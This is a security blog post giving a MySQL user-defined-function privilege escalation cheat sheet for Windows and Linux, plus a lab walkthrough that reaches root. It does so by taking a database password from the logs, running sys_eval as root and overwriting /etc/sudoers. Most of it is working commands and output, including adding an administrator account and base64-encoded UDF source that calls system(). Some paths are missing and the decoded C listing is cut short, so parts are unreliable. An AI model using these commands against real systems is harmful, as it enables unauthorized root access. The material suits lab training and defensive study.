MySql User-Defined Function (UDF) Privilege Escalation (Windows & Linux)

We will get in to making our own functions in later posts but for now the UDF compiled shared objects from SQLMap are great.

Windows Escalation

mysql> USE mysql;
mysql> CREATE TABLE pwn(line blob);
mysql> INSERT INTO pwn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
mysql> SELECT * FROM mysql.pwn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
mysql> SELECT sys_exec("net user pwned pwn123! /add");
mysql> SELECT sys_exec("net localgroup Administrators pwned /add");

Linux Escalation

mysql> use mysql;
mysql> create table pwn(line blob);
mysql> insert into pwn values(load_file('/home/npn/'));
mysql> select * from pwn into dumpfile '/usr/lib/';
mysql> create function sys_exec returns integer soname '';
mysql> select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Verify Command Execution

user@box:/$ cat /tmp/out uid=0(root) gid=0(root) groups=0(root)

You can now execute code as root, what more do you need? You can allow SUDO all no password or create SETUID shell program with c, execute a reverse shell etc, whatever you want; be creative.

The Golden Logs II

This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!

The Challenge

A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!

Your mission is to get a root shell on the box!

Challenge Accepted

First bit was easy, I knew it was about logs because of challenge info and title so figured we would want something either setuid or a service running as root that dumps things to a log file. So first thing was sudo -l followed by a grep of /var/log/mysql as we knew sudo init.d started mysql.

student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs

Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.

student@attackdefense:~$ echo "[client]" > .my.cnf
student@attackdefense:~$ echo "user=root" >> .my.cnf
student@attackdefense:~$ echo "password=adlabs@adlabs" >> .my.cnf

Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.

We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…

mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
| @@GLOBAL.secure_file_priv |
| /var/lib/mysql-files/     |
1 row in set (0.00 sec)

secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE()function. These operations are permitted only to users who have the FILE privilege. Basically, good idea for security! Take note.

However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!

student@attackdefense:/usr/lib/mysql/plugin$ ls -la /usr/lib/mysql/plugin
total 664
drwxr-xr-x 1 root root   4096 Oct 18 14:51 .
drwxr-xr-x 1 root root   4096 Sep 24  2018 ..
-rw-r--r-- 1 root root  21224 Jul 27  2018
-rw-r--r-- 1 root root   6288 Jul 27  2018
-rw-r--r-- 1 root root  44144 Jul 27  2018
-rw-r--r-- 1 root root 112792 Jul 27  2018
-rw-r--r-- 1 root root  84512 Jul 27  2018
-rwxr-xr-x 1 root root  13192 Oct 18 14:51
-rw-r--r-- 1 root root 158688 Jul 27  2018
-rw-r--r-- 1 root root   5824 Jul 27  2018
-rw-r--r-- 1 root root  10840 Jul 27  2018
-rw-r--r-- 1 root root   6064 Jul 27  2018
-rw-r--r-- 1 root root  56064 Jul 27  2018
-rw-r--r-- 1 root root  56936 Jul 27  2018
-rw-r--r-- 1 root root  14768 Jul 27  2018
-rw-r--r-- 1 root root  27568 Jul 27  2018
-rw-r--r-- 1 root root  27200 Jul 27  2018

One instantly stands out…

-rwxr-xr-x 1 root root 13192 Oct 18 14:51

Let’s see what this is…

TL;DR — lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system.

Github info.html

Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.

The Solution

student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id")                          |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
1 row in set (0.04 sec)

mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
| NULL                                                             |
1 row in set (0.02 sec)

mysql> exit
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)


During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.

Writing Source Code to File without Text Editor/Echo

Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.

student@attackdefense:/tmp$ echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmVudW0gSXRlbV9yZXN1bHQge1NUUklOR19SRVNVTFQsIFJFQUxfUkVTVUxULCBJTlRfUkVTVUxULCBST1dfUkVTVUxUfTsKCnR5cGVkZWYgc3RydWN0IHN0X3VkZl9hcmdzIHsKCXVuc2lnbmVkIGludAkJYXJnX2NvdW50OwoJZW51bSBdGVtX3Jlc3VsdAkqYXJnX3R5cGU7CgljaGFyIAkJCSoqYXJnczsKCXVuc2lnbmVkIGxvbmcJCSpsZW5ndGhzOwoJY2hhcgkJCSptYXliZV9udWxsOwp9IFVERl9BUkdTOwoKdHlwZWRlZiBzdHJ1Y3Qgc3RfdWRmX2luaXQgewoJY2hhcgkJCW1heWJlX251bGw7Cgl1bnNpZ25lZCBpbnQJCWRlY2ltYWxzOwoJdW5zaWduZWQgbG9uZyAJCW1heF9sZW5ndGg7CgljaGFyCQkJKnB0cjsKCWNoYXIJCQljb25zdF9pdGVtOwp9IFVERl9JTklUOwoKaW50IGRvX3N5c3RlbShVREZfSU5JVCAqaW5pdGlkLCBVREZfQVJHUyAqYXJncywgY2hhciAqaXNfbnVsbCwgY2hhciAqZXJyb3IpCnsKCWlmIChhcmdzLT5hcmdfY291bnQgIT0gMSkKCQlyZXR1cm4oMCk7CgoJc3lzdGVtKGFyZ3MtPmFyZ3NbMF0pOwoKCXJldHVybigwKTsKfQ==" | base64 -d > priv.c
student@attackdefense:/tmp$ cat priv.c
#include <stdio.h>
#include <stdlib.h>


typedef struct st_udf_args {
        unsigned int            arg_count;
        enum Item_result        *arg_type;
        char                    **args;
        unsigned long           *lengths;
        char                    *maybe_null;

typedef struct st_udf_init {
        char                    maybe_null;
        unsigned int            decimals;
        unsigned long           max_length;
        char                    *ptr;
        char                    const_item;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
        if (args->arg_count != 1)



Dump MySql Environment and Config Variables

student@attackdefense:~$ mysqld --verbose --help
student@attackdefense:~$ mysqladmin variables -u root -p

Understand MySql/MySqld etc will be Invoked

student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address= --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M